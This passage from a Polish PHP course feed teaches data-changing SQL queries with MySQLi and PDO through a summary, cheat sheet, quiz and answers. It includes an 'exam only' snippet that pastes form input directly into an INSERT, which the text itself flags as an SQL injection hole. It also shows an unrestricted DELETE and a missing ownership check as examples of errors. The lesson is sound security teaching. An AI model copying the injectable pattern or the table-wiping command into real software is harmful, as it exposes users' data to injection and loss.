<p class="wp-block-paragraph"><br />2. Kolega uważa, że warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code> jest zbędny, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> i tak najpierw wczytuje zadanie i mógłby sprawdzić <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;czyWykonane()</code>. Podaj dwie sytuacje, w których jego wersja przyzna XP dwa razy (Test 4, Eksperyment 2).<br /><br />3. Koleżanka napisała <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ?</code>. Zapytanie działa, a prepared statement chroni przed SQL injection. Co może zrobić zalogowana Ola i jak? Czym ten błąd różni się od SQL injection?Znajdź trzy błędy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?');
$zapytanie-&gt;bind_param('i', $zadanieId, (int) $_SESSION&#91;'uzytkownik_id']);
$zapytanie-&gt;execute();
$wynik = $zapytanie-&gt;get_result();</code></pre>



<p class="wp-block-paragraph"><br />4. Dlaczego „Zrobione!” jest przyciskiem w formularzu POST, a nie linkiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php?id=3</code>? Podaj dwa konkretne problemy wersji z linkiem.</p>



<p class="wp-block-paragraph">5. Kama ma streak 4. Co pokaże strona po kliknięciu „Zrobione!”, jeśli jej <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> to: (a) dziś, (b) wczoraj, (c) 10 dni temu, (d) <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>? Która linia kodu decyduje o przypadku (d)?</p>



<p></p>



<p class="wp-block-paragraph">6. <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code> dodaje XP przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code>, a streak zapisuje jako gotową liczbę (<code class="prettyprint lang-sql" style="font-size: 0.85em;">streak = ?</code>). Dlaczego te dwie kolumny potraktowaliśmy różnie? Czy przy streaku może wystąpić ten sam problem co przy XP?<br /><br />7. W Eksperymencie 5 zadanie zostało oznaczone jako wykonane, a XP nie wpadło. Opisz stan bazy po błędzie. Czy odwrócenie kolejności zapytań (najpierw XP, potem zadanie) rozwiązuje problem? Co go rozwiązuje?<br /><br />8. Kama wykonała zadanie za 20 XP, a potem je usunęła. XP zostało. Podaj argument za takim działaniem i argument przeciw. Jak zmieniłbyś/zmieniłabyś <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>, gdyby XP miało być odbierane?<br /><br />9. Po zmianie metody na <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(): void</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> została przez pomyłkę linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane);</code> (a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> nadal istnieje). Czy PHP zgłosi błąd? Co zobaczy Kama, która wczoraj wykonała zadanie, a dziś tylko otwiera stronę (Eksperyment 6)?<br /><br />10. Baza odrzuci tytuł dłuższy niż 100 znaków (<code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(100)</code>). Po co więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> nadal to sprawdza? Podaj dwa powody.<br /></p>
</details>



<h1 id="dodatek" class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h2 class="wp-block-heading">W skrócie</h2>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> <strong>nie zwracają wierszy</strong>. Znika więc ostatni krok znany z <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> — po <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code> nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>. Efekt sprawdzamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> (PDO: <code class="prettyprint lang-sql" style="font-size: 0.85em;">rowCount()</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> to liczba wierszy, które <strong>naprawdę się zmieniły</strong>, a nie tych, które pasowały do <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>. Zapis tej samej wartości daje 0. Dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> nie znaczy „nie ma takiego wiersza”.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> <strong>bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code></strong> działają na całej tabeli. W PHP nie ma pytania „czy na pewno?” i nie ma cofnięcia.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> pełni rolę <strong>bezpiecznika</strong> i ma zwykle dwa rodzaje warunków:
<ul class="wp-block-list">
<li><strong>właściciela</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code>) — żeby nie dało się zmienić cudzego rekordu,</li>



<li><strong>stanu</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code>) — żeby ta sama operacja nie zadziałała drugi raz.</li>
</ul>
</li>



<li>Prepared statement chroni przed <strong>SQL injection</strong>, ale nie przed <strong>brakiem sprawdzenia uprawnień</strong>. To dwa różne błędy: pierwszy dotyczy sklejania SQL, drugi — zaufania danym z formularza.</li>



<li>O tym, czy nagroda (XP) się należy, decyduje <strong>wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> z warunkiem stanu</strong>, a nie wcześniejszy odczyt przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>. Odczyt może być nieaktualny (dwie karty, dwa kliknięcia).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code> zmienia wartość <strong>względem obecnej</strong> — baza dolicza do tego, co ma w chwili zapisu. Odczyt XP do PHP, dodanie i zapisanie gotowej liczby nadpisuje zmianę zrobioną w międzyczasie.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code> (PDO: <code class="prettyprint lang-sql" style="font-size: 0.85em;">lastInsertId()</code>) daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nadane przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>. Nie trzeba go zgadywać ani wyliczać.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> przyjmuje <strong>tylko zmienne</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', 5)</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', (int) $_POST['id'])</code> kończy się błędem („cannot be passed by reference”).</li>



<li>Dwa zapytania to nie jedna operacja. Jeśli pierwsze się uda, a drugie nie, pierwsza zmiana zostaje w bazie (zadanie wykonane, XP nieprzyznane). Rozwiązaniem jest transakcja — zadanie końcowe C.</li>



<li>Każda strona zmieniająca dane działa w schemacie <strong>POST → przekierowanie → GET</strong>: sprawdź metodę żądania, zapisz zmianę, <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...')</code> i <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code></strong>. Bez tego F5 powtarza operację.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO tabela (kolumny) VALUES (wartości)</code> — kolumny i wartości w tej samej kolejności; <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code> i kolumny z wartością domyślną można pominąć.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> <strong>zawsze</strong> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>. Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> = cała tabela, nieodwracalnie.</li>



<li>Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> <strong>nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code></strong>. Efekt to <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> (PDO: <code class="prettyprint lang-sql" style="font-size: 0.85em;">rowCount()</code>), nowe <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code> (PDO: <code class="prettyprint lang-sql" style="font-size: 0.85em;">lastInsertId()</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows == 0</code> znaczy „nic się nie zmieniło”, a nie „nie ma takiego wiersza”.</li>



<li>Każde zapytanie, które mogłoby trafić w cudzy rekord, ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code>. Prepared statement tego nie załatwia.</li>



<li>Warunek stanu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code>) umieszczamy w tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>, który zmienia dane — nie w osobnym <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> w PHP.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code> zamiast odczytu i zapisu gotowej liczby.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> przyjmuje <strong>zmienne</strong>, nie stałe i nie wyrażenia; liczba liter typów = liczba <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">d</code>).</li>



<li>Dane zmieniamy tylko przez <strong>POST</strong>, a po zapisie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...'); exit;</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code>, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">= NULL</code>.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<p class="wp-block-paragraph"><strong>SQL</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp)
VALUES (2, 'Tytuł', '', '2026-10-10', 10);

UPDATE zadania SET data_wykonania = CURDATE()
WHERE id = 5 AND uzytkownik_id = 2 AND data_wykonania IS NULL;

UPDATE uzytkownicy SET xp = xp + 10 WHERE id = 2;   -- względem obecnej wartości

DELETE FROM zadania WHERE id = 5 AND uzytkownik_id = 2;
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code> → dzisiejsza data (<code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOW()</code> → data z godziną.</p>



<p class="wp-block-paragraph"><strong>MySQLi obiektowo (TaskQuest)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('INSERT INTO zadania (uzytkownik_id, tytul) VALUES (?, ?)');
$zapytanie-&gt;bind_param('is', $uzytkownikId, $tytul);
$zapytanie-&gt;execute();

$noweId = $zapytanie-&gt;insert_id;        // id nadane przez AUTO_INCREMENT
$ile    = $zapytanie-&gt;affected_rows;    // ile wierszy się zmieniło
</code></pre>



<p class="wp-block-paragraph">Typy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code> — liczba całkowita, <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code> — tekst (także data), <code class="prettyprint lang-sql" style="font-size: 0.85em;">d</code> — liczba z przecinkiem.</p>



<p class="wp-block-paragraph"><strong>Schemat funkcji zmieniającej dane</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie-&gt;prepare(
        'UPDATE zadania SET data_wykonania = CURDATE()
         WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL'
    );
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;affected_rows === 1;
}
</code></pre>



<p class="wp-block-paragraph"><strong>PDO</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$stmt = $pdo-&gt;prepare('UPDATE players SET email = ? WHERE id = ?');
$stmt-&gt;execute(&#91;$email, $id]);

$ile    = $stmt-&gt;rowCount();
$noweId = $pdo-&gt;lastInsertId();   // na POŁĄCZENIU, nie na zapytaniu
</code></pre>



<p class="wp-block-paragraph"><strong>Strona zmieniająca dane (POST → przekierowanie → GET)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER&#91;'REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}
// walidacja → zapis → komunikat w sesji
header('Location: index.php');
exit;                       // ZAWSZE exit po header()
</code></pre>



<p class="wp-block-paragraph"><strong>Wersja proceduralna — tylko na egzaminie</strong></p>



<p class="wp-block-paragraph">Arkusz INF.03 udostępnia wyłącznie te funkcje, więc zapis wygląda tak:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie = mysqli_connect('localhost', 'root', '', 'wodospady');

if (isset($_POST&#91;'idObiekt'])) {
    $idObiekt  = $_POST&#91;'idObiekt'];
    $idTurysta = $_POST&#91;'idTurysta'];
    mysqli_query($polaczenie, "INSERT INTO osiagniecia (idObiekt, idTurysta)
                               VALUES ('$idObiekt', '$idTurysta')");
}

mysqli_close($polaczenie);</code></pre>



<p class="wp-block-paragraph">Poza egzaminem tak <strong>nie piszemy</strong> — to sklejanie SQL z danymi użytkownika, czyli podatność na SQL injection z Lekcji 18.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<ol class="wp-block-list">
<li><p>Uzupełnij polecenie i odpowiedz, co stanie się z pominiętymi kolumnami <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>:<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp)<br />______ (2, 'Powtórka SQL', '', '2026-11-05', 15);<br /></code></p></li>



<li><p>Ola ma 240 XP. Podaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> po pierwszym i po drugim wykonaniu tego polecenia:<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE uzytkownicy SET xp = 250 WHERE id = 2;<br /></code></p></li>



<li><p>Znajdź <strong>dwa</strong> błędy:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ?');<br />$zapytanie-&gt;bind_param('i', $zadanieId);<br />$zapytanie-&gt;execute();<br />$wynik = $zapytanie-&gt;get_result();<br /></code></p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE uzytkownicy SET xp = xp + ? WHERE id = ?</code> jest lepsze niż odczytanie XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>-em, dodanie w PHP i zapisanie gotowej liczby przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">SET xp = ?</code>?</p></li>



<li><p>Co się stanie po uruchomieniu tej linii i jak ją poprawić?<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;bind_param('ii', $zadanieId, (int) $_SESSION['uzytkownik_id']);<br /></code>Kolega usunął z zapytania warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code>:<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM zadania WHERE id = ?<br /></code>Twierdzi, że jest bezpiecznie, bo to prepared statement. Co może zrobić zalogowana Ola i dlaczego prepared statement tu nie pomaga?</p></li>



<li><p>Uzupełnij warunek tak, żeby gracz nie dostał XP dwa razy za to samo zadanie:<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE()<br />WHERE id = ? AND uzytkownik_id = ? ______<br /></code></p></li>



<li><p>Skrypt zapisuje dane i kończy się linią <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: index.php');</code>. Czego brakuje i jakie dwa problemy może to spowodować?</p></li>



<li><p>Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> chcemy przekierować użytkownika na <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php?id=...</code> nowo dodanego gracza. Skąd wziąć to <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> w MySQLi, a skąd w PDO?</p></li>



<li><p>Co zrobi to polecenie uruchomione w phpMyAdmin i czy da się je cofnąć?<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM zadania;<br /></code></p></li>



<li><p>Przycisk „Zrobione!” można było zrobić jako zwykły link <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php?id=3</code>. Podaj dwa konkretne problemy takiej wersji.</p></li>



<li><p>Na egzaminie masz napisać skrypt, który po wysłaniu formularza wstawia do tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">osiagniecia</code> wartości <code class="prettyprint lang-sql" style="font-size: 0.85em;">idObiekt</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">idTurysta</code> pobrane z formularza. Wypisz kolejne kroki skryptu (od połączenia do zamknięcia) i wskaż, który z nich decyduje o tym, że skrypt nie zapisuje niczego przy zwykłym wejściu na stronę.</p></li>



<li><p>Zadanie praktyczne. Napisz funkcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">zmienEmailGracza(mysqli $polaczenie, int $graczId, string $email): bool</code>, która zmienia e-mail gracza w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">players</code> i zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> tylko wtedy, gdy wiersz faktycznie się zmienił. Wyjaśnij, kiedy zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> mimo poprawnego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>.</p></li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi </strong></summary>
<ol class="wp-block-list">
<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">VALUES</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nada baza (<code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>), a <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> dostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> — nowe zadanie jest od razu niewykonane.</p></li>



<li><p>Pierwsze wykonanie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code> (240 → 250). Drugie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> — wiersz pasuje do <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>, ale wartość jest już taka sama, więc nic się nie zmieniło.</p></li>



<li><p>(a) <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code> po <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> — nie ma wyniku do odebrania, efekt sprawdza się przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>; (b) brak warunku właściciela <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code>, więc każdy zalogowany może oznaczyć cudze zadanie, podmieniając <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> w formularzu.</p></li>



<li><p>Baza dolicza XP do wartości aktualnej w chwili zapisu. Przy odczycie i zapisie gotowej liczby zmiana zrobiona w międzyczasie (druga karta, drugie kliknięcie, inny skrypt) zostaje nadpisana i część XP przepada.</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> przekazuje argumenty przez referencję, więc nie przyjmuje wyrażenia. Wartość trzeba najpierw zapisać w zmiennej: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId = (int) $_SESSION['uzytkownik_id'];</code>, a potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('ii', $zadanieId, $uzytkownikId)</code>.</p></li>



<li><p>Ola może w narzędziach przeglądarki (F12) zmienić wartość ukrytego pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> na numer zadania Kamy i je usunąć. Prepared statement pilnuje tylko tego, żeby dane nie stały się kodem SQL — nie sprawdza, czy użytkownik ma prawo do tego wiersza. To brak kontroli uprawnień, nie SQL injection.</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code>.</p></li>



<li><p>Brakuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code>. Skrypt wykonuje się dalej: może zacząć wypisywać HTML (a przy wcześniejszym wyjściu nagłówek <code class="prettyprint lang-sql" style="font-size: 0.85em;">Location</code> w ogóle nie zadziała) i może wykonać kolejne operacje na bazie, mimo że przeglądarka jest już przekierowywana.</p></li>



<li><p>MySQLi: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;insert_id</code> (proceduralnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_insert_id($polaczenie)</code>), odczytane zaraz po <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code>, przed zamknięciem połączenia. PDO: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo-&gt;lastInsertId()</code> — na obiekcie połączenia, nie na zapytaniu.</p></li>



<li><p>Usunie <strong>wszystkie</strong> wiersze tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>, bo nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>. Nie da się tego cofnąć — dane wracają tylko z kopii zapasowej albo przez ponowne uruchomienie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p></li>



<li><p>Przykładowe: (a) odświeżenie strony (F5) powtarza żądanie GET, więc powtarza operację; (b) adres z <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> można wpisać ręcznie albo podstawić cudzy numer; (c) link da się kliknąć przypadkiem lub otworzyć z historii, a operacja zmieniająca dane nie powinna się wykonywać przy zwykłym wejściu na adres. Zmiana danych należy do POST.</p></li>



<li><p>Kroki: połączenie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect</code>) → sprawdzenie, czy formularz został wysłany (<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($_POST[...])</code>) → pobranie wartości z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> do zmiennych → zbudowanie i wykonanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_query()</code> → zamknięcie połączenia (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_close</code>). O tym, że zwykłe wejście na stronę niczego nie zapisuje, decyduje warunek z <code class="prettyprint lang-sql" style="font-size: 0.85em;">isset()</code>.</p></li>



<li><p>Przykładowe rozwiązanie:<code class="prettyprint lang-sql" style="font-size: 0.85em;">function zmienEmailGracza(mysqli $polaczenie, int $graczId, string $email): bool<br />{<br />    $zapytanie = $polaczenie-&gt;prepare('UPDATE players SET email = ? WHERE id = ?');<br />    $zapytanie-&gt;bind_param('si', $email, $graczId);<br />    $zapytanie-&gt;execute();<br /><br />    return $zapytanie-&gt;affected_rows === 1;<br />}<br /></code>Zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> także wtedy, gdy gracz istnieje, ale ma już dokładnie ten sam e-mail — <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> nie zmienił żadnej wartości, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> wynosi 0. Dlatego tego wyniku nie wolno czytać jako „nie ma takiego gracza”.</p><br /></li>
</ol>
</details>
<p>Artykuł <a href="https://kamakaczmarek.net/php-skrypty-zmieniajace-dane-w-bazie-danych/">19. PHP – skrypty zmieniające dane w bazie danych &#8211; INSERT, UPDATE, DELETE</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>18. PHP – łączenie z bazą i operacje SELECT</title>
		<link>https://kamakaczmarek.net/php-laczenie-z-baza-i-operacje-na-bazie-danych/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Thu, 16 May 2019 19:41:00 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2343</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 17: bazy danych, mysqli i PDO, projekt tabel TaskQuest. Odpowiedz z pamięci. TaskQuest Dodatek Bazy danych to fundament większości aplikacji webowych. Za każdym razem gdy: W tym materiale nauczysz się&#160;pobierać dane&#160;z bazy MySQL/MariaDB używając PHP. To podstawowa umiejętność, którą musisz opanować przed nauką modyfikowania danych (INSERT, UPDATE, DELETE [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-laczenie-z-baza-i-operacje-na-bazie-danych/">18. PHP – łączenie z bazą i operacje SELECT</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Lekcja 17: bazy danych, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> i PDO, projekt tabel TaskQuest. Odpowiedz z pamięci.</p>



<ol class="wp-block-list">
<li><p>Masz projekt, który być może zostanie przeniesiony z MySQL na PostgreSQL. Które rozszerzenie wybierzesz i dlaczego?</p></li>



<li><p>Co w tej definicji jest niepoprawne i jaki będzie skutek?<code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE zadania (<br />    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,<br />    tytul VARCHAR(100) NOT NULL,<br />    xp INT UNSIGNED NOT NULL DEFAULT 0,<br />) ENGINE=InnoDB;<br /></code></p></li>



<li><p>Kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL UNIQUE</code>. Które z tych operacji baza odrzuci?<br />a) dodanie użytkownika bez podania loginu,<br />b) dodanie drugiego użytkownika o loginie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>,<br />c) dodanie użytkownika z loginem <code class="prettyprint lang-sql" style="font-size: 0.85em;">ola_tq</code>, gdy istnieje <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>.</p></li>



<li><p>Dlaczego kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> jest w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>, a nie kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania_id</code> w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>?</p></li>



